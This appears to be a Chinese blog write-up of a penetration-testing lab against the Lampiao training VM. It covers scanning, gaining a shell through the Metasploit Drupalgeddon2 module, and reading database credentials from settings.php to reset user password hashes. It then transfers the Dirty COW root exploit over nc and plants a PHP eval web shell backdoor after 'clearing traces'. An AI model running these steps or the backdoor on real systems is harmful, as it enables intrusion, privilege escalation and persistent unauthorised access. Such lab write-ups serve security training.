3.100个渗透测试实战#3(Lampiao)

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)

2.查看靶机页面;

3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息

2.分析所得:

(三)渗透测试——80端口(无服务)

1.火狐浏览器,访问主页:http://192.168.97.148

(四)渗透测试——1898端口(http服务)

1.对靶机网站进行目录遍历;

2.在扫描的同时,火狐访问主页http://192.168.97.148:1898

3.尝试访问,robots.txt文件;

4.逐个访问以上扫描出来的以及robots.txt的页面;

5.分析所得:

(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell

1.进入msf,利用漏洞;

2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)

(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权

1.致命连问;

2.分析所得:

3.通过hydra破解ssh服务

4.再次分析:

5.通过mysql数据库,修改tiago、Eder、ADMIN的密码

6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录

7.分析所得:

8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN

(七)渗透测试——尝试脏牛提权(40847.cpp)

1.40847.cpp

(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接

1.留下1.php

四、总结

1.脏牛提权40847.cpp

2.编译:(转载的编译参数解析)

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告

-pedantic 允许发出ANSI/ISO C标准所列出的所有警告

-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高

-std=c++11就是用按C++2011标准来编译的

-pthread 在Linux中要用到多线程时,需要链接pthread库

-o dcow gcc生成的目标文件,名字为40847

3.执行exp:./40847

执行后的root密码为dirtyCowFun


一、实验环境

  • 靶机:Lampiao,IP地址:192.168.97.148
  • 测试机:kali,IP地址:192.168.97.129
  • 测试机:物理机Win0
  • 连接方式:NAT

二、实验流程

  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80、1898端口
  • 渗透测试——msf利用drupal7的rce漏洞,反弹shell
  • 渗透测试——22端口
  • 渗透测试——脏牛提权
  • 删除痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)

2.查看靶机页面;

3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)

  • netdiscover -i eth0 -r 192.168.97.0/24

             -i    指定网卡

             -r    指定网段

  • arp-scan -l

           --localnet or -l    指定扫描本地网络

  • nmap -sP 192.168.97.0/24

             -sP    ping扫描且不进行端口扫描

4.分析所得:

  • 靶机所在网段为:C段,192.168.97.0/24
  • 靶机IP为:192.168.97.148

(二)信息收集——端口(服务)扫描

1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息

  • nmap -p- -sV -O -A 192.168.97.148

       -p-        扫描全端口

       -sV       扫描端口对应的服务

       -O        扫描靶机的系统版本

       -A        扫描靶机的系统版本

2.分析所得:

  • 一共扫描65535个端口,65532个端口关闭
  • 22端口处于open状态,开启了sshd服务
  • 80端口处于open状态,没有开启httpd服务
  • 1898端口 处于open状态,开启了httpd服务
  • 1898端口,对应的站点为drupal7
  • 靶机的操作系统为:ubuntu、版本在3.2到4.9之间

(三)渗透测试——80端口(无服务)

1.火狐浏览器,访问主页:http://192.168.97.148

           f12查看元素信息,或者查看源码,发现没有任何的可用信息

(四)渗透测试——1898端口(http服务)

1.对靶机网站进行目录遍历;

  • dirb http://192.168.97.148:1898   /usr/share/dirb/wordlists/big.txt

           如下图所示,扫描到了10个目录,2个文件

  • 遇见扫描:http://192.168.97.148:1898

2.在扫描的同时,火狐访问主页http://192.168.97.148:1898

  • 主页信息如下,f12查看信息以及查看源码,没有发现有用的信息

  • 使用Web指纹识别插件Wapplyzer,识别到该网站的CMS为drupal 7

3.尝试访问,robots.txt文件;

  • 浏览器访问:http://192.168.97.148:1898/robots.txt

4.逐个访问以上扫描出来的以及robots.txt的页面;

  • 访问结果:都是一些drupal站点的配置文件等等,可以确定这个是Drupal搭建的网站

5.分析所得:

  • 获得了一个drupal网站的后台登录页面;
  • 该drupal的版本为7,可能存在着免身份认证的RCE漏洞;
  • 该drupal搭建的网站,经过浏览器的页面测试,发现了hash加密脚本,以及存在着settings.php配置文件,可以通过该方法,获取后台登录用户名,并且修改后台登录密码;

(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell

1.进入msf,利用漏洞;

  • msfconsole

  • search drupal

  • use exploit/unix/webapp/drupal_drupalgeddon2

  • set rhosts 192.168.97.148

  • set rport 1898

  • exploit

  • shell

  • id

2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)

  • python -c 'import pty;pty.spawn("/bin/bash")'

(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权

1.致命连问;

  • whoami

  • id

  • pwd

  • ls -l

          如下图所示,我们发现了2个音频,1张图片

  • 把两个音频和两张图片nc传输到物理机上查看

              发现了其中一个音频提示,user  tiago

              另外发现一张二维码,使用CQR扫描得到一段鼓励:Try harder! muahuahua

  • cat /etc/passwd

  • ls -l /home

  • cd /home/tiago
  • ls

         发现该tiago用户下的内容为空

2.分析所得:

  • 提示一个用户tiago,但是家目录下无任何可用信息
  • 注意,还有一个22端口的ssh,没有用到

3.通过hydra破解ssh服务

  • 破解失败

4.再次分析:

  • 以上页面访问的时候,得到结果存在settings.php配置文件存放着数据库的连接信息
  • 我们可以进入数据库,查看有哪些用户

5.通过mysql数据库,修改tiago、Eder、ADMIN的密码

  • 通过find查找settings.php配置文件的位置

            注意:默认的settings.php存放位置为/var/www/html/sites/default/settings.php

  • cat  /var/www/html/sites/default/settings.php

             发现了数据库为mysql,数据库名为drupal,数据库连接信息:drupaluser  Virgulino

  • netstat -pantu查看进程,发现了3306端口,说明MySQL数据库是在运行着的

  • mysql -udrupaluser -pVirgulino

  • show databases;

  • use drupal;

  • show tables;

  • desc users;

  • select uid,name,pass from users;

          发现了用户tiago存储着hash加密的密码

  • find查找password-hash.sh脚本

            该脚本式用来加密的,以便于存储于MySQL数据库中,默认的目录在/var/www/html/scripts/password-hash.sh

  • 利用脚本,把123进行hash加密: php scripts/password-hash.sh 123

  • 把123对应的hash值存储到MySQL数据库中

6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录

7.分析所得:

  • 得到一个用户tiago,但是ssh登陆后,无可用的信息
  • 还有后台登录没有用到

8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN

  • 没有发现任何的可用信息

(七)渗透测试——尝试脏牛提权(40847.cpp)

1.40847.cpp

  • searchsploit dirty cow pri esc

           查找脏牛提权的exp

  • searchsploit  -m  40847.cpp

          -m   复制到当前目录下

  • nc -lp 8443 < 40847.cpp

          kali通过nc把该exp传输到tiago

  • nc -nv 192.168.97.129 8443 > 40847.cpp

            tiago通过nc接收该40847exp

  • 编译40847.cpp:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

  • ./40847

          运行该exp,运行后root的密码修改为:dirtyCowFun

  • su root   切换到root用户

         密码dirtyCowFun

  • cd  /root   切换到root的家目录
  • ls
  • cat flag.txt

            成功获取到flag.txt

(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接

1.留下1.php

          <?php @eval($_POST["123"]);?>

四、总结

1.脏牛提权40847.cpp

2.编译:(转载的编译参数解析)

  • g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

  • -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告

  • -pedantic 允许发出ANSI/ISO C标准所列出的所有警告

  • -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高

  • -std=c++11就是用按C++2011标准来编译的

  • -pthread 在Linux中要用到多线程时,需要链接pthread库

  • -o dcow gcc生成的目标文件,名字为40847

3.执行exp:./40847

  • 执行后的root密码为dirtyCowFun

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/105048520
今日推荐